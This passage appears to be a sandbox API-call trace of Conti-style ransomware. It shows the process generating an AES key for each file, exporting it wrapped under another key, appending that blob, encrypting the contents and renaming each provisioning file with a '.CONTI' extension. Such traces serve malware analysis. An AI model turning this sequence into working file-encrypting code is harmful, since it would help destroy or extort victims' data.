	[0111.304] WriteFile (in: hFile=0x398, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.304] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.304] WriteFile (in: hFile=0x398, lpBuffer=0x656fcd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x656fcd8*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0111.304] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.304] CloseHandle (hObject=0x398) returned 1
	[0111.366] GetProcessHeap () returned 0x1720000
	[0111.366] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.177] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml"
	[0112.177] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.177] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\373__connections_cellular_mobily (saudi arabia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.178] GetProcessHeap () returned 0x1720000
	[0112.178] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.178] CryptDestroyKey (hKey=0x17c7bb0) returned 1
	[0112.178] GetProcessHeap () returned 0x1720000
	[0112.178] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656d830 | out: hHeap=0x1720000) returned 1
	[0112.178] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0112.178] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x18110c0 | out: phKey=0x18110c0*=0x6b7f338) returned 1
	[0112.178] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x18110c4, pdwDataLen=0x46fff1c | out: pbData=0x18110c4*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0112.179] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\4__connections_cellular_claro (argentina)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.179] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\4__connections_cellular_claro (argentina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0112.179] GetLastError () returned 0x0
	[0112.179] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=775) returned 1
	[0112.179] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x307
	[0112.179] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.179] SetEndOfFile (hFile=0x404) returned 1
	[0112.179] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.180] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.180] WriteFile (in: hFile=0x404, lpBuffer=0x18110c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x18110c4*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.182] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.182] ReadFile (in: hFile=0x404, lpBuffer=0xc610000, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x307, lpOverlapped=0x0) returned 1
	[0112.182] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x307, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x310) returned 1
	[0112.182] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.182] WriteFile (in: hFile=0x404, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x310, lpOverlapped=0x0) returned 1
	[0112.183] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.183] WriteFile (in: hFile=0x404, lpBuffer=0x18110b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x18110b8*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0112.183] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.183] CloseHandle (hObject=0x404) returned 1
	[0112.183] GetProcessHeap () returned 0x1720000
	[0112.183] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.183] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml"
	[0112.183] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.184] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\4__connections_cellular_claro (argentina)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\4__connections_cellular_claro (argentina)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.184] GetProcessHeap () returned 0x1720000
	[0112.184] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.184] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0112.184] GetProcessHeap () returned 0x1720000
	[0112.184] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1809f08 | out: hHeap=0x1720000) returned 1
	[0112.184] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0112.185] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x180ce98 | out: phKey=0x180ce98*=0x6b7f338) returned 1
	[0112.185] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x180ce9c, pdwDataLen=0x46fff1c | out: pbData=0x180ce9c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0112.186] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\500__connections_cellular_t-mobile usa_ roam mobility (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.186] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\500__connections_cellular_t-mobile usa_ roam mobility (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0112.186] GetLastError () returned 0x0
	[0112.186] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=724) returned 1
	[0112.186] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0112.186] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.186] SetEndOfFile (hFile=0x404) returned 1
	[0112.187] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.187] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.187] WriteFile (in: hFile=0x404, lpBuffer=0x180ce9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x180ce9c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.194] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.195] ReadFile (in: hFile=0x404, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2d4, lpOverlapped=0x0) returned 1
	[0112.195] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d4, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2e0) returned 1
	[0112.195] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.195] WriteFile (in: hFile=0x404, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.195] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.195] WriteFile (in: hFile=0x404, lpBuffer=0x180ce90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x180ce90*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0112.195] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.195] CloseHandle (hObject=0x404) returned 1
	[0112.195] GetProcessHeap () returned 0x1720000
	[0112.195] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.195] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml"
	[0112.195] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.195] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\500__connections_cellular_t-mobile usa_ roam mobility (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\500__connections_cellular_t-mobile usa_ roam mobility (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.196] GetProcessHeap () returned 0x1720000
	[0112.196] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.196] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0112.196] GetProcessHeap () returned 0x1720000
	[0112.196] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6575930 | out: hHeap=0x1720000) returned 1
	[0112.197] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0112.197] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x180d328 | out: phKey=0x180d328*=0x6b7f338) returned 1
	[0112.197] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x180d32c, pdwDataLen=0x46fff1c | out: pbData=0x180d32c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0112.197] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.198] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0112.198] GetLastError () returned 0x0
	[0112.198] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=723) returned 1
	[0112.198] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0112.198] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.198] SetEndOfFile (hFile=0x404) returned 1
	[0112.199] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.199] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.199] WriteFile (in: hFile=0x404, lpBuffer=0x180d32c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x180d32c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.206] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.206] ReadFile (in: hFile=0x404, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2d3, lpOverlapped=0x0) returned 1
	[0112.206] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2d3, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2e0) returned 1
	[0112.206] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.206] WriteFile (in: hFile=0x404, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.207] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.207] WriteFile (in: hFile=0x404, lpBuffer=0x180d320*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x180d320*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0112.207] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.207] CloseHandle (hObject=0x404) returned 1
	[0112.207] GetProcessHeap () returned 0x1720000
	[0112.207] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.207] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml"
	[0112.207] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.207] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.208] GetProcessHeap () returned 0x1720000
	[0112.208] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.208] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0112.208] GetProcessHeap () returned 0x1720000
	[0112.208] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17dee58 | out: hHeap=0x1720000) returned 1
	[0112.208] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0112.208] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x1812c20 | out: phKey=0x1812c20*=0x6b7f338) returned 1
	[0112.208] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x1812c24, pdwDataLen=0x46fff1c | out: pbData=0x1812c24*, pdwDataLen=0x46fff1c*=0x20c) returned 1
